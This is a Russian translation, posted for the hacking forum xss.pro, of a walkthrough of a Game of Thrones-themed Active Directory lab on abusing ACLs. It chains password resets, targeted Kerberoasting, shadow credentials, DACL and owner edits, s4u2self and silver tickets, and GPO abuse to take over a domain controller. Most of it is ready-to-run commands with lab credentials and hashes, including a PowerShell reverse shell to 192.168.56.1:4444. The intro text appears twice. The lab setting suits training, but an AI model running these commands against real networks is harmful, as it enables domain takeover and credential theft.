ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущей записи мы проделали некоторые операции, используя делегирование. В этой статье мы будем развлекаться с ACL в лаборатории.
В active directory объекты права называются Access Control Entries (ACE), список ACE называется Access Control List (ACL).
Обновление ACL в лаборатории
Перед началом этой главы мы обновим пользователей и ACL в лабе:
Это изменит многие отношения в лаборатории, потому что когда я изначально создавал acl, я установил много acl на группу администраторов домена. Но группа администраторов домена является защищенной группой, а эти группы защищены механизмом admin SD protect. Итак, когда лаборатория создана, все acl в порядке, но через час все acl, связанные с защищенными группами и их пользователями, удаляются. Я также добавил несколько групп и уязвимое gpo.
Список защищенных групп в активном каталоге: https://learn.microsoft.com/en-us/p...azine/ee361593(v=msdn.10)?redirectedfrom=MSDN
По умолчанию в Active Directory защищенные группы сбрасываются каждый час со значениями ACL, хранящимися в "CN=AdminSDHolder,CN=System,DC=yourdc".
Защищенные группы и связанные с ними пользователи затронуты
Операторы учетных записей
Администратор
Администраторы
Операторы резервного копирования
Администраторы домена
Контроллеры домена
Администраторы предприятий
Krbtgt
Операторы печати
Контроллеры домена только для чтения
Репликатор
Администраторы схем
Операторы сервера
Новый обзор ACL в лабораторной работе выглядит следующим образом :
Для начала мы сфокусируемся на киллчейне ACL семикоролевств, начав с tywin.lannister (пароль: powerkingftw135).
Путь война таков:
Устанавливаем новый пароль jaime.
И проверьте пароль в порядке.
Это можно провернуть 3 разными способами:
А теперь просто взломайте хэш
Мы можем изменить это значение с помощью следующего скрипта:
Запустите ответчик и смоделируйте соединение Джоффри, запустив соединение RDP.
И мы получаем хэш NetNLMV2 joffrey.baratheon и… kingslanding$ !
WriteDacl для пользователя (Джоффри -> Тайрон)
Чтобы использовать writeDacl от Джоффри до Тайрона, мы можем использовать acleedit.py.
impacket Сначала мы клонируем форк , созданный с помощью shutdown (@_nwodtuhs), чтобы получить последний PR с помощью dacleedit.
Хорошо, теперь мы можем:
Добавить себя в группу (Tyron -> Small Council)
Теперь у нас есть tyron, поэтому мы можем использовать его добавив себя в группу small council.
Для начала найдите 5 отличий)
AddMember в группу ( Small Council -> dragonstone)
Теперь, как tyron, мы находимся в small council, поэтому мы можем добавить члена в группу dragonstone. Поэтому мы просто добавим Тирона, как и раньше
WriteOwner dragonstone -> kingsguard
Теперь с привилегией writeOwner мы можем изменить владельца kingsguard, чтобы он владел группой.
владельцем группы Kingsguard теперь является tyron.lannister.
Как владелец группы, мы теперь можем изменить ACL и дать нам GenericAll
С GenericAll теперь мы можем добавить tyron в группу Kingsguard.
GenericAll (kingsguard -> stannis)
Теперь tyron находится в Королевской гвардии, так что мы можем взять stannis под свой контроль с помощью стандартного All on stannis.
изменим пароль stannis с помощью ldeep
Теперь у нас есть tgt и NT-хэш kingslanding$.
Очевидно, что мы можем сделать dcsync, поскольку kingslanding является DC, но вместо этого давайте попробуем напрямую получить шелл.
Для этого проще всего использовать s4u2self или создать silver ticket
s4u2self: запросим TGS как пользователь домена Administrator
И затем мы используем этот тикет для подключения от имени администратора
Хорошо, веселье с доменом sevenkingdoms.local закончилось, теперь давайте попробуем некоторые ACL в других доменах.
Злоупотребление объектами групповой политики
Если мы посмотрим в графический интерфейс Windows, мы увидим созданную задачу
Теперь давайте попробуем получить обратный powershell.
И получаем её
pyGPOAbuse изменяет объект групповой политики, не возвращаясь назад! Не используйте в производстве или на свой страх и риск и не забывайте очищать после
Получаем пороль локального администратора используя cme
Шик блеск красота!!!
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущей записи мы проделали некоторые операции, используя делегирование. В этой статье мы будем развлекаться с ACL в лаборатории.
В active directory объекты права называются Access Control Entries (ACE), список ACE называется Access Control List (ACL).
Обновление ACL в лаборатории
Перед началом этой главы мы обновим пользователей и ACL в лабе:
Код:
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml
Список защищенных групп в активном каталоге: https://learn.microsoft.com/en-us/p...azine/ee361593(v=msdn.10)?redirectedfrom=MSDN
По умолчанию в Active Directory защищенные группы сбрасываются каждый час со значениями ACL, хранящимися в "CN=AdminSDHolder,CN=System,DC=yourdc".
Защищенные группы и связанные с ними пользователи затронуты
Операторы учетных записей
Администратор
Администраторы
Операторы резервного копирования
Администраторы домена
Контроллеры домена
Администраторы предприятий
Krbtgt
Операторы печати
Контроллеры домена только для чтения
Репликатор
Администраторы схем
Операторы сервера
Новый обзор ACL в лабораторной работе выглядит следующим образом :
Код:
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p
Для начала мы сфокусируемся на киллчейне ACL семикоролевств, начав с tywin.lannister (пароль: powerkingftw135).
Путь война таков:
- Tywin -> Jaime : Change password user
- Jaime -> Joffrey : Generic Write user
- Joffrey -> Tyron : WriteDacl on user
- Tyron -> small council : add member on group
- Small council -> dragon stone : write owner group to group
- dragonstone -> kingsguard : write owner to group
- kingsguard -> stannis : Generic all on User
- stannis -> kingslanding : Generic all on Computer
- Попробуем проделать весь путь от tywin до kingslanding контроллера домена
- Напоминание: Злоупотребление ACL приводит к изменению целей. Убедитесь, что вы знаете, что делаете, если попытаетесь использовать это во время аудита.
ForceChangePassword для пользователя (Тайвин -> Хайме)
- Это никогда не следует делать в пентесте (если клиент не согласен с этим). Вы не хотите блокировать пользователя во время аудита.
- Как tywin.lannister мы изменим пароль jaime.lannister
Код:
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
Устанавливаем новый пароль jaime.
И проверьте пароль в порядке.
Код:
cme smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat
GenericWrite для пользователя (Jaime до Joffrey)
- Поскольку мы только что установили пароль jaime, теперь мы будем использовать GenericWrite от Jaime до Joffrey.
Это можно провернуть 3 разными способами:
- shadowCredentials (Windows Server 2016 или +)
- targetKerberoasting (пароль должен быть достаточно слабым, чтобы его можно было взломать)
- logonScript (для этого требуется подключение пользователя, и, честно говоря, это никогда не работало или если сценарий уже был внутри sysvol)
Целевой Kerberoasting
- Сначала давайте сделаем целевой Kerberoasting, принцип прост. Добавьте имя участника-службы для пользователя, запросите tgs, удалите имя участника-службы для пользователя.
- И теперь мы можем взломать TGS так же, как классический kerberoasting.
- Shutdown сделал инструмент, который сделает всю работу за вас: https://github.com/ShutdownRepo/targetedKerberoast
Код:
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon
А теперь просто взломайте хэш
Код:
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
Shadow Credentials
Это уже было сделано ранее в этом блоге, одна из самых быстрых эксплойтов — с certipy:
Код:
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
Сценарий входа
Чтобы показать значение ldap пути сценария вместо ldapsearch, используем инструмент ldeep
Код:
ldeep ldap -u jaime.lannister -p 'pasdebraspasdechocolat' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
Мы можем изменить это значение с помощью следующего скрипта:
Код:
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'scriptpath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share\exploit.bat')]})
print(ldap_con.result)
ldap_con.unbind()
- но, к сожалению, это не сработает… :'( (если вы знаете, почему, пожалуйста, дайте мне знать, похоже, это работает, только если скрипт уже находится в sysvol)
- Другой способ злоупотребить GenericWrite — изменить profilePath и дождаться соединения, чтобы получить аутентификацию NetNtlmv2 и передать его другому компьютеру или взломать его.
- Измените значение profilePath с помощью следующего скрипта:
Код:
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share')]})
print(ldap_con.result)
ldap_con.unbind()
Запустите ответчик и смоделируйте соединение Джоффри, запустив соединение RDP.
Код:
responder -I vboxnet0
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore
И мы получаем хэш NetNLMV2 joffrey.baratheon и… kingslanding$ !
WriteDacl для пользователя (Джоффри -> Тайрон)
Чтобы использовать writeDacl от Джоффри до Тайрона, мы можем использовать acleedit.py.
impacket Сначала мы клонируем форк , созданный с помощью shutdown (@_nwodtuhs), чтобы получить последний PR с помощью dacleedit.
Код:
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
- Теперь мы можем использовать dacleedit.py
Код:
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
Код:
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
- Хорошо, теперь измените разрешение на «Полный контроль» и посмотрите что выйдет:
Код:
dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
Хорошо, теперь мы можем:
- сменить пароль тайрона
- осуществить целевой kerberoasting
- реализоватьshadowcredentials:
Код:
certipy shadow auto -u joffrey.baratheon@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'
Добавить себя в группу (Tyron -> Small Council)
Теперь у нас есть tyron, поэтому мы можем использовать его добавив себя в группу small council.
Для начала найдите 5 отличий)
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
- Добавим tyron в Small Council
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
- Посмотричте что из этого выйдет
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
AddMember в группу ( Small Council -> dragonstone)
Теперь, как tyron, мы находимся в small council, поэтому мы можем добавить члена в группу dragonstone. Поэтому мы просто добавим Тирона, как и раньше
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
WriteOwner dragonstone -> kingsguard
Теперь с привилегией writeOwner мы можем изменить владельца kingsguard, чтобы он владел группой.
- Как и раньше, мы будем использовать форк impacket.
Код:
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
владельцем группы Kingsguard теперь является tyron.lannister.
Как владелец группы, мы теперь можем изменить ACL и дать нам GenericAll
Код:
dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
GenericAll (kingsguard -> stannis)
Теперь tyron находится в Королевской гвардии, так что мы можем взять stannis под свой контроль с помощью стандартного All on stannis.
изменим пароль stannis с помощью ldeep
Код:
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
- Мы установим пароль Drag0nst0ne(я знаю, что это то же самое, что и раньше, но я не хотел менять скриншоты в следующей части :p)
GenericAll на компьютере (Stannis -> kingslanding)
- Теперь у нас есть станнис, давайте доделаем домен с общим Запись на ДЦ
- Одним из способов использования этого разрешения является использование ограниченного делегирования на основе ресурсов
- Но что делать, если нельзя добавить компьютер в домен (все больше админовв отключают возможность простого пользователя добавлять компьютер в домены и это хорошая практика с точки зрения безопасности), можно провести атаку shadowcredential'
- Таким образом, если ADCS включен в домене и у нас есть права на запись в msDS-KeyCredentialLink, мы можем провести атаку shadowcredential чтобы получить прямой доступ к целевой учетной записи. (точно так же, как мы делали это в части 5 )
- Учетные данные Shadow теперь включаются в certipy (эту атаку также можно выполнить с помощью pywisker )
Код:
certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Drag0nst0ne' -account 'kingslanding$'
Теперь у нас есть tgt и NT-хэш kingslanding$.
Очевидно, что мы можем сделать dcsync, поскольку kingslanding является DC, но вместо этого давайте попробуем напрямую получить шелл.
Для этого проще всего использовать s4u2self или создать silver ticket
s4u2self: запросим TGS как пользователь домена Administrator
Код:
export KRB5CCNAME=/workspace/acl/kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
Код:
export KRB5CCNAME=/workspace/acl/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
Silver ticket
Еще один способ получить шелл — создать Silver ticket:- Найдите SID домена:
Код:
lookupsid.py -hashes ':33a43e326dad53a516dc06393281d2cc' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
- Создайте тикет:
Код:
ticketer.py -nthash '33a43e326dad53a516dc06393281d2cc' -domain-sid 'S-1-5-21-1409754491-4246775990-3914137275' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
- И используйте его:
Код:
export KRB5CCNAME=/workspace/acl/Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
Хорошо, веселье с доменом sevenkingdoms.local закончилось, теперь давайте попробуем некоторые ACL в других доменах.
Злоупотребление объектами групповой политики
- Злоупотребление GPO в северном домене
- Для злоупотребления GPO мы будем использовать проект, созданный Hackndo: pyGPOAbuse.
- В файле readme github говорится: «Он создаст немедленную запланированную задачу как SYSTEM на удаленном компьютере для объекта групповой политики компьютера или как пользователь, вошедший в систему, для пользовательского объекта групповой политики».
Код:
git clone https://github.com/Hackndo/pyGPOAbuse.git
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
- Мы получаем идентификатор от Bloodhound и запускаем эксплойт с помощью:
Код:
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4"
Если мы посмотрим в графический интерфейс Windows, мы увидим созданную задачу
- Если мы подождем несколько минут или запустим gpudate /forceмы увидим нового пользователя локального администратора
Теперь давайте попробуем получить обратный powershell.
Код:
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry"
pyGPOAbuse изменяет объект групповой политики, не возвращаясь назад! Не используйте в производстве или на свой страх и риск и не забывайте очищать после
Получаем пороль локального администратора используя cme
Код:
cme ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps
Шик блеск красота!!!
Ресурсы:
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
- https://www.thehacker.recipes/ad/movement/dacl
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse
- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab